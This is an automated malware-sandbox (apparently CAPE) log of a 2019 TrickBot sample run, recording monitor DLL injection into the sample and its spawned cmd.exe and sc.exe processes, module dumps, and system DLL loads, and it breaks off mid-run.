Analysis

Category Package Started Completed Duration Options Log
FILE TrickBot 2019-08-13 22:46:17 2019-08-13 22:50:16 239 seconds Show Options Show Log
route = internet
procdump = 0
2019-08-13 23:46:17,000 [root] INFO: Date set to: 08-13-19, time set to: 22:46:17, timeout set to: 200
2019-08-13 23:46:17,000 [root] DEBUG: Starting analyzer from: C:\wherurmpn
2019-08-13 23:46:17,000 [root] DEBUG: Storing results at: C:\VnKkjNI
2019-08-13 23:46:17,000 [root] DEBUG: Pipe server name: \\.\PIPE\NMmfGXs
2019-08-13 23:46:17,000 [root] INFO: Analysis package "TrickBot" has been specified.
2019-08-13 23:46:17,467 [root] DEBUG: Started auxiliary module Browser
2019-08-13 23:46:17,467 [root] DEBUG: Started auxiliary module Curtain
2019-08-13 23:46:17,467 [modules.auxiliary.digisig] DEBUG: Checking for a digitial signature.
2019-08-13 23:46:18,013 [modules.auxiliary.digisig] DEBUG: File is not signed.
2019-08-13 23:46:18,013 [modules.auxiliary.digisig] INFO: Uploading signature results to aux/DigiSig.json
2019-08-13 23:46:18,013 [root] DEBUG: Started auxiliary module DigiSig
2019-08-13 23:46:18,029 [root] DEBUG: Started auxiliary module Disguise
2019-08-13 23:46:18,029 [root] DEBUG: Started auxiliary module Human
2019-08-13 23:46:18,029 [root] DEBUG: Started auxiliary module Screenshots
2019-08-13 23:46:18,029 [root] DEBUG: Started auxiliary module Sysmon
2019-08-13 23:46:18,029 [root] DEBUG: Started auxiliary module Usage
2019-08-13 23:46:18,029 [root] INFO: Analyzer: DLL set to DumpOnAPI.dll from package modules.packages.TrickBot
2019-08-13 23:46:18,029 [root] INFO: Analyzer: DLL_64 set to DumpOnAPI_x64.dll from package modules.packages.TrickBot
2019-08-13 23:46:18,059 [lib.api.process] INFO: Successfully executed process from path "C:\Users\user\AppData\Local\Temp\qcvzdK14aEZIbg.exe" with arguments "" with pid 1096
2019-08-13 23:46:18,059 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:18,059 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:18,059 [lib.api.process] INFO: 32-bit DLL to inject is C:\wherurmpn\dll\gzdMGeQl.dll, loader C:\wherurmpn\bin\vOsmBYW.exe
2019-08-13 23:46:18,092 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:18,107 [root] DEBUG: Loader: Injecting process 1096 (thread 904) with C:\wherurmpn\dll\gzdMGeQl.dll.
2019-08-13 23:46:18,107 [root] DEBUG: Process image base: 0x00400000
2019-08-13 23:46:18,107 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\gzdMGeQl.dll.
2019-08-13 23:46:18,107 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x0048E000 - 0x77110000
2019-08-13 23:46:18,107 [root] DEBUG: InjectDllViaIAT: Allocated 0x112c bytes for new import table at 0x00490000.
2019-08-13 23:46:18,107 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:18,107 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\gzdMGeQl.dll.
2019-08-13 23:46:18,107 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 1096
2019-08-13 23:46:20,119 [lib.api.process] INFO: Successfully resumed process with pid 1096
2019-08-13 23:46:20,119 [root] INFO: Added new process to list with pid: 1096
2019-08-13 23:46:20,151 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:20,151 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:20,151 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:20,243 [root] DEBUG: CAPE initialised: 32-bit DumpOnAPI package loaded at 0x747f0000, process image base 0x400000, stack from 0x286000-0x290000
2019-08-13 23:46:20,243 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:20,243 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:20,243 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:20,243 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:20,243 [root] INFO: Monitor successfully loaded in process with pid 1096.
2019-08-13 23:46:20,243 [root] DEBUG: GetHookCallerBase: thread 904 (handle 0x0), return address 0x004012A9, allocation base 0x00400000.
2019-08-13 23:46:20,243 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x00400000 main_caller_retaddr 0x004012A9 parent_caller_retaddr 0x00000000.
2019-08-13 23:46:20,259 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x00400000.
2019-08-13 23:46:20,259 [root] DEBUG: DumpProcess: Module entry point VA is 0x000014E0.
2019-08-13 23:46:20,276 [root] INFO: Added new CAPE file to list with path: C:\wherurmpn\CAPE\1096_1578781652206614382019
2019-08-13 23:46:20,276 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x82400.
2019-08-13 23:46:20,276 [root] DEBUG: Dump-on-API: Dumped module at 0x00400000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:20,290 [root] DEBUG: DLL loaded at 0x74C70000: C:\Windows\system32\CRYPTSP (0x16000 bytes).
2019-08-13 23:46:20,290 [root] DEBUG: DLL loaded at 0x74C30000: C:\Windows\system32\rsaenh (0x3b000 bytes).
2019-08-13 23:46:20,290 [root] DEBUG: DLL loaded at 0x749B0000: C:\Windows\system32\USERENV (0x17000 bytes).
2019-08-13 23:46:20,290 [root] DEBUG: DLL loaded at 0x749A0000: C:\Windows\system32\profapi (0xb000 bytes).
2019-08-13 23:46:20,555 [root] DEBUG: DLL loaded at 0x74440000: C:\Windows\system32\PROPSYS (0xf5000 bytes).
2019-08-13 23:46:20,555 [root] DEBUG: DLL loaded at 0x75980000: C:\Windows\syswow64\OLEAUT32 (0x8f000 bytes).
2019-08-13 23:46:20,555 [root] DEBUG: DLL loaded at 0x742A0000: C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32 (0x19e000 bytes).
2019-08-13 23:46:20,588 [root] DEBUG: DLL loaded at 0x74EB0000: C:\Windows\syswow64\CLBCatQ (0x83000 bytes).
2019-08-13 23:46:20,602 [root] DEBUG: DLL loaded at 0x749D0000: C:\Windows\system32\ntmarta (0x21000 bytes).
2019-08-13 23:46:20,602 [root] DEBUG: DLL loaded at 0x76EA0000: C:\Windows\syswow64\WLDAP32 (0x45000 bytes).
2019-08-13 23:46:20,634 [root] DEBUG: DLL loaded at 0x74F40000: C:\Windows\SysWOW64\urlmon (0x136000 bytes).
2019-08-13 23:46:20,727 [root] DEBUG: DLL loaded at 0x75600000: C:\Windows\syswow64\WININET (0xf5000 bytes).
2019-08-13 23:46:20,727 [root] DEBUG: DLL loaded at 0x76CA0000: C:\Windows\syswow64\iertutil (0x1fb000 bytes).
2019-08-13 23:46:20,743 [root] DEBUG: DLL loaded at 0x75790000: C:\Windows\syswow64\CRYPT32 (0x11d000 bytes).
2019-08-13 23:46:20,743 [root] DEBUG: DLL loaded at 0x755F0000: C:\Windows\syswow64\MSASN1 (0xc000 bytes).
2019-08-13 23:46:20,805 [root] DEBUG: DLL loaded at 0x75A70000: C:\Windows\syswow64\SETUPAPI (0x19d000 bytes).
2019-08-13 23:46:20,805 [root] DEBUG: DLL loaded at 0x75A10000: C:\Windows\syswow64\CFGMGR32 (0x27000 bytes).
2019-08-13 23:46:20,805 [root] DEBUG: DLL loaded at 0x75D40000: C:\Windows\syswow64\DEVOBJ (0x12000 bytes).
2019-08-13 23:46:20,822 [root] DEBUG: DLL loaded at 0x74AF0000: C:\Windows\system32\apphelp (0x4c000 bytes).
2019-08-13 23:46:20,822 [root] DEBUG: DLL unloaded from 0x75E70000.
2019-08-13 23:46:20,852 [root] INFO: Announced 32-bit process name: ропрУВаЫсенорх.exe pid: 2296
2019-08-13 23:46:20,868 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:20,868 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:20,868 [lib.api.process] INFO: 32-bit DLL to inject is C:\wherurmpn\dll\gzdMGeQl.dll, loader C:\wherurmpn\bin\vOsmBYW.exe
2019-08-13 23:46:20,868 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:20,868 [root] DEBUG: Loader: Injecting process 2296 (thread 2332) with C:\wherurmpn\dll\gzdMGeQl.dll.
2019-08-13 23:46:20,868 [root] DEBUG: Process image base: 0x00400000
2019-08-13 23:46:20,868 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\gzdMGeQl.dll.
2019-08-13 23:46:20,884 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x0048E000 - 0x77110000
2019-08-13 23:46:20,884 [root] DEBUG: InjectDllViaIAT: Allocated 0x112c bytes for new import table at 0x00490000.
2019-08-13 23:46:20,884 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:20,884 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\gzdMGeQl.dll.
2019-08-13 23:46:20,884 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 2296
2019-08-13 23:46:20,884 [root] DEBUG: DLL unloaded from 0x74F40000.
2019-08-13 23:46:20,884 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:20,884 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:20,884 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:20,884 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:20,884 [root] DEBUG: DLL unloaded from 0x74440000.
2019-08-13 23:46:20,884 [root] DEBUG: DLL unloaded from 0x75140000.
2019-08-13 23:46:20,900 [root] DEBUG: DLL unloaded from 0x749D0000.
2019-08-13 23:46:20,900 [root] INFO: Notified of termination of process with pid 1096.
2019-08-13 23:46:20,900 [root] DEBUG: CAPE initialised: 32-bit DumpOnAPI package loaded at 0x747f0000, process image base 0x400000, stack from 0x287000-0x290000
2019-08-13 23:46:20,914 [root] INFO: Added new process to list with pid: 2296
2019-08-13 23:46:20,914 [root] INFO: Monitor successfully loaded in process with pid 2296.
2019-08-13 23:46:20,914 [root] DEBUG: GetHookCallerBase: thread 2332 (handle 0x0), return address 0x004012A9, allocation base 0x00400000.
2019-08-13 23:46:20,930 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x00400000 main_caller_retaddr 0x004012A9 parent_caller_retaddr 0x00000000.
2019-08-13 23:46:20,930 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x00400000.
2019-08-13 23:46:20,946 [root] DEBUG: DumpProcess: Module entry point VA is 0x000014E0.
2019-08-13 23:46:20,946 [root] INFO: Added new CAPE file to list with path: C:\wherurmpn\CAPE\2296_1391625326206614382019
2019-08-13 23:46:20,961 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x82400.
2019-08-13 23:46:20,961 [root] DEBUG: Dump-on-API: Dumped module at 0x00400000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:20,977 [root] DEBUG: DLL loaded at 0x74C70000: C:\Windows\system32\CRYPTSP (0x16000 bytes).
2019-08-13 23:46:20,977 [root] DEBUG: DLL loaded at 0x74C30000: C:\Windows\system32\rsaenh (0x3b000 bytes).
2019-08-13 23:46:20,993 [root] DEBUG: DLL loaded at 0x74990000: C:\Windows\system32\USERENV (0x17000 bytes).
2019-08-13 23:46:20,993 [root] DEBUG: DLL loaded at 0x749C0000: C:\Windows\system32\profapi (0xb000 bytes).
2019-08-13 23:46:20,993 [root] DEBUG: DLL loaded at 0x75790000: C:\Windows\syswow64\CRYPT32 (0x11d000 bytes).
2019-08-13 23:46:20,993 [root] DEBUG: DLL loaded at 0x755F0000: C:\Windows\syswow64\MSASN1 (0xc000 bytes).
2019-08-13 23:46:21,134 [root] INFO: Process with pid 1096 has terminated
2019-08-13 23:46:21,134 [root] DEBUG: DLL unloaded from 0x75790000.
2019-08-13 23:46:21,180 [root] DEBUG: DLL loaded at 0x74340000: C:\Windows\system32\PROPSYS (0xf5000 bytes).
2019-08-13 23:46:21,180 [root] DEBUG: DLL loaded at 0x75980000: C:\Windows\syswow64\OLEAUT32 (0x8f000 bytes).
2019-08-13 23:46:21,196 [root] DEBUG: DLL loaded at 0x741A0000: C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32 (0x19e000 bytes).
2019-08-13 23:46:21,196 [root] DEBUG: DLL loaded at 0x74AF0000: C:\Windows\system32\apphelp (0x4c000 bytes).
2019-08-13 23:46:21,211 [root] DEBUG: DLL loaded at 0x74EB0000: C:\Windows\syswow64\CLBCatQ (0x83000 bytes).
2019-08-13 23:46:21,226 [root] DEBUG: DLL loaded at 0x72F70000: C:\Windows\SysWOW64\ieframe (0xa80000 bytes).
2019-08-13 23:46:21,273 [root] DEBUG: DLL loaded at 0x74950000: C:\Windows\SysWOW64\OLEACC (0x3c000 bytes).
2019-08-13 23:46:21,305 [root] DEBUG: DLL loaded at 0x76CA0000: C:\Windows\syswow64\iertutil (0x1fb000 bytes).
2019-08-13 23:46:21,335 [root] DEBUG: DLL loaded at 0x74F40000: C:\Windows\syswow64\urlmon (0x136000 bytes).
2019-08-13 23:46:21,335 [root] DEBUG: DLL loaded at 0x75600000: C:\Windows\syswow64\WININET (0xf5000 bytes).
2019-08-13 23:46:21,368 [root] DEBUG: DLL loaded at 0x75A70000: C:\Windows\syswow64\SETUPAPI (0x19d000 bytes).
2019-08-13 23:46:21,368 [root] DEBUG: DLL loaded at 0x75A10000: C:\Windows\syswow64\CFGMGR32 (0x27000 bytes).
2019-08-13 23:46:21,382 [root] DEBUG: DLL loaded at 0x75D40000: C:\Windows\syswow64\DEVOBJ (0x12000 bytes).
2019-08-13 23:46:21,382 [root] DEBUG: DLL loaded at 0x749D0000: C:\Windows\system32\ntmarta (0x21000 bytes).
2019-08-13 23:46:21,398 [root] DEBUG: DLL loaded at 0x76EA0000: C:\Windows\syswow64\WLDAP32 (0x45000 bytes).
2019-08-13 23:46:21,414 [root] DEBUG: DLL unloaded from 0x75E70000.
2019-08-13 23:46:21,460 [root] INFO: Announced 64-bit process name: cmd.exe pid: 2884
2019-08-13 23:46:21,460 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:21,460 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:21,460 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:21,476 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:21,492 [root] DEBUG: Loader: Injecting process 2884 (thread 884) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:21,492 [root] DEBUG: Process image base: 0x0000000049D50000
2019-08-13 23:46:21,492 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:21,523 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x0000000049DA9000 - 0x0000000077110000
2019-08-13 23:46:21,539 [root] DEBUG: InjectDllViaIAT: Allocated 0x1c0 bytes for new import table at 0x0000000049DB0000.
2019-08-13 23:46:21,539 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:21,555 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:21,555 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2884
2019-08-13 23:46:21,585 [root] DEBUG: DLL unloaded from 0x74F40000.
2019-08-13 23:46:21,585 [root] DEBUG: DLL unloaded from 0x74340000.
2019-08-13 23:46:21,585 [root] DEBUG: DLL unloaded from 0x72F70000.
2019-08-13 23:46:21,585 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:21,585 [root] DEBUG: DLL unloaded from 0x75D60000.
2019-08-13 23:46:21,585 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:21,601 [root] DEBUG: DLL loaded at 0x724F0000: C:\Windows\SysWOW64\ieframe (0xa80000 bytes).
2019-08-13 23:46:21,601 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:21,601 [root] DEBUG: DLL loaded at 0x74160000: C:\Windows\SysWOW64\OLEACC (0x3c000 bytes).
2019-08-13 23:46:21,601 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:21,601 [root] INFO: Announced 64-bit process name: cmd.exe pid: 2996
2019-08-13 23:46:21,601 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:21,601 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:21,601 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:21,617 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:21,617 [root] DEBUG: Loader: Injecting process 2996 (thread 920) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:21,617 [root] DEBUG: Process image base: 0x0000000049D50000
2019-08-13 23:46:21,617 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:21,617 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x0000000049DA9000 - 0x0000000077110000
2019-08-13 23:46:21,632 [root] DEBUG: InjectDllViaIAT: Allocated 0x1c0 bytes for new import table at 0x0000000049DB0000.
2019-08-13 23:46:21,632 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:21,632 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:21,632 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2996
2019-08-13 23:46:21,632 [root] DEBUG: DLL unloaded from 0x74F40000.
2019-08-13 23:46:21,632 [root] DEBUG: DLL unloaded from 0x724F0000.
2019-08-13 23:46:21,632 [root] DEBUG: DLL unloaded from 0x75D60000.
2019-08-13 23:46:21,648 [root] DEBUG: DLL loaded at 0x72F70000: C:\Windows\SysWOW64\ieframe (0xa80000 bytes).
2019-08-13 23:46:21,648 [root] DEBUG: DLL loaded at 0x74950000: C:\Windows\SysWOW64\OLEACC (0x3c000 bytes).
2019-08-13 23:46:21,648 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:21,648 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:21,648 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:21,648 [root] INFO: Announced 64-bit process name: cmd.exe pid: 2636
2019-08-13 23:46:21,664 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:21,664 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x0000000049D50000, stack from 0x0000000000164000-0x0000000000260000
2019-08-13 23:46:21,664 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:21,664 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:21,664 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:21,664 [root] INFO: Added new process to list with pid: 2884
2019-08-13 23:46:21,664 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x0000000049D50000, stack from 0x0000000000124000-0x0000000000220000
2019-08-13 23:46:21,664 [root] INFO: Monitor successfully loaded in process with pid 2884.
2019-08-13 23:46:21,680 [root] INFO: Added new process to list with pid: 2996
2019-08-13 23:46:21,680 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:21,680 [root] INFO: Monitor successfully loaded in process with pid 2996.
2019-08-13 23:46:21,680 [root] DEBUG: Loader: Injecting process 2636 (thread 2632) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:21,680 [root] DEBUG: Process image base: 0x0000000049D50000
2019-08-13 23:46:21,694 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:21,694 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x0000000049DA9000 - 0x0000000077110000
2019-08-13 23:46:21,694 [root] DEBUG: GetHookCallerBase: thread 884 (handle 0x0), return address 0x0000000049D59099, allocation base 0x0000000049D50000.
2019-08-13 23:46:21,694 [root] DEBUG: GetHookCallerBase: thread 920 (handle 0x0), return address 0x0000000049D59099, allocation base 0x0000000049D50000.
2019-08-13 23:46:21,694 [root] DEBUG: InjectDllViaIAT: Allocated 0x1c0 bytes for new import table at 0x0000000049DB0000.
2019-08-13 23:46:21,694 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x0000000049D50000 main_caller_retaddr 0x0000000049D59099 parent_caller_retaddr 0x0000000049D598F3.
2019-08-13 23:46:21,694 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x0000000049D50000 main_caller_retaddr 0x0000000049D59099 parent_caller_retaddr 0x0000000049D598F3.
2019-08-13 23:46:21,694 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:21,694 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:21,694 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x0000000049D50000.
2019-08-13 23:46:21,694 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x0000000049D50000.
2019-08-13 23:46:21,694 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2636
2019-08-13 23:46:21,694 [root] DEBUG: DumpProcess: Module entry point VA is 0x00000000000090B4.
2019-08-13 23:46:21,710 [root] DEBUG: DumpProcess: Module entry point VA is 0x00000000000090B4.
2019-08-13 23:46:21,710 [root] DEBUG: DLL unloaded from 0x74F40000.
2019-08-13 23:46:21,710 [root] DEBUG: DLL unloaded from 0x72F70000.
2019-08-13 23:46:21,710 [root] DEBUG: DLL loaded at 0x000007FEFCF50000: C:\Windows\System32\cryptbase (0xf000 bytes).
2019-08-13 23:46:21,710 [root] DEBUG: DLL loaded at 0x000007FEFCF50000: C:\Windows\System32\cryptbase (0xf000 bytes).
2019-08-13 23:46:21,710 [root] DEBUG: DLL unloaded from 0x75D60000.
2019-08-13 23:46:21,710 [root] DEBUG: DLL loaded at 0x724F0000: C:\Windows\SysWOW64\ieframe (0xa80000 bytes).
2019-08-13 23:46:21,726 [root] WARNING: CAPE file at path "C:\wherurmpn\CAPE\2884_535085198216614382019" does not exist, skip.
2019-08-13 23:46:21,726 [root] DEBUG: DLL loaded at 0x74160000: C:\Windows\SysWOW64\OLEACC (0x3c000 bytes).
2019-08-13 23:46:21,726 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:46:21,726 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x54400.
2019-08-13 23:46:21,726 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:46:21,726 [root] INFO: Announced 64-bit process name: cmd.exe pid: 812
2019-08-13 23:46:21,726 [root] DEBUG: Dump-on-API: Dumped module at 0x0000000049D50000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:21,726 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:46:21,742 [root] INFO: Added new CAPE file to list with path: C:\wherurmpn\CAPE\2996_811138465216614382019
2019-08-13 23:46:21,742 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:21,742 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x54400.
2019-08-13 23:46:21,742 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:21,742 [root] INFO: Disabling sleep skipping.
2019-08-13 23:46:21,742 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:21,742 [root] DEBUG: Dump-on-API: Dumped module at 0x0000000049D50000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:46:21,742 [root] DEBUG: DLL loaded at 0x000007FEFCEF0000: C:\Windows\system32\apphelp (0x57000 bytes).
2019-08-13 23:46:21,742 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074470000, process image base 0x0000000049D50000, stack from 0x0000000000154000-0x0000000000250000
2019-08-13 23:46:21,757 [root] INFO: Added new process to list with pid: 2636
2019-08-13 23:46:21,757 [root] INFO: Monitor successfully loaded in process with pid 2636.
2019-08-13 23:46:21,757 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:21,757 [root] DEBUG: GetHookCallerBase: thread 2632 (handle 0x0), return address 0x0000000049D59099, allocation base 0x0000000049D50000.
2019-08-13 23:46:21,757 [root] DEBUG: Loader: Injecting process 812 (thread 1592) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:21,757 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x0000000049D50000 main_caller_retaddr 0x0000000049D59099 parent_caller_retaddr 0x0000000049D598F3.
2019-08-13 23:46:21,757 [root] DEBUG: Process image base: 0x0000000049D50000
2019-08-13 23:46:21,757 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x0000000049D50000.
2019-08-13 23:46:21,757 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:21,757 [root] DEBUG: DumpProcess: Module entry point VA is 0x00000000000090B4.
2019-08-13 23:46:21,757 [root] DEBUG: DLL loaded at 0x000007FEFCEF0000: C:\Windows\system32\apphelp (0x57000 bytes).
2019-08-13 23:46:21,757 [root] INFO: Announced 64-bit process name: sc.exe pid: 2208
2019-08-13 23:46:21,757 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x0000000049DA9000 - 0x0000000077110000
2019-08-13 23:46:21,773 [root] DEBUG: InjectDllViaIAT: Allocated 0x1c0 bytes for new import table at 0x0000000049DB0000.
2019-08-13 23:46:21,773 [root] DEBUG: DLL loaded at 0x000007FEFCF50000: C:\Windows\System32\cryptbase (0xf000 bytes).
2019-08-13 23:46:21,773 [root] INFO: Announced 64-bit process name: sc.exe pid: 2752
2019-08-13 23:46:21,773 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:21,773 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:46:21,773 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:21,773 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:21,773 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:46:21,773 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:46:21,773 [lib.api.process] INFO: 64-bit DLL to inject is C:\wherurmpn\dll\HIiqtohv.dll, loader C:\wherurmpn\bin\YxMWeKQQ.exe
2019-08-13 23:46:21,773 [root] DEBUG: Successfully injected DLL C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:21,773 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:21,773 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\NMmfGXs.
2019-08-13 23:46:21,789 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 812
2019-08-13 23:46:21,789 [root] DEBUG: Loader: Injecting process 2752 (thread 2740) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:21,789 [root] DEBUG: Loader: Injecting process 2208 (thread 2212) with C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:21,789 [root] DEBUG: DLL unloaded from 0x74F40000.
2019-08-13 23:46:21,789 [root] DEBUG: Process image base: 0x00000000FF5E0000
2019-08-13 23:46:21,789 [root] INFO: Added new CAPE file to list with path: C:\wherurmpn\CAPE\2636_344534414216614382019
2019-08-13 23:46:21,789 [root] DEBUG: Process image base: 0x00000000FF5E0000
2019-08-13 23:46:21,789 [root] DEBUG: DLL unloaded from 0x724F0000.
2019-08-13 23:46:21,789 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:21,789 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x54400.
2019-08-13 23:46:21,789 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\wherurmpn\dll\HIiqtohv.dll.
2019-08-13 23:46:21,789 [root] DEBUG: DLL unloaded from 0x75D60000.
2019-08-13 23:46:21,803 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x00000000FF5EF000 - 0x000007FEFF430000
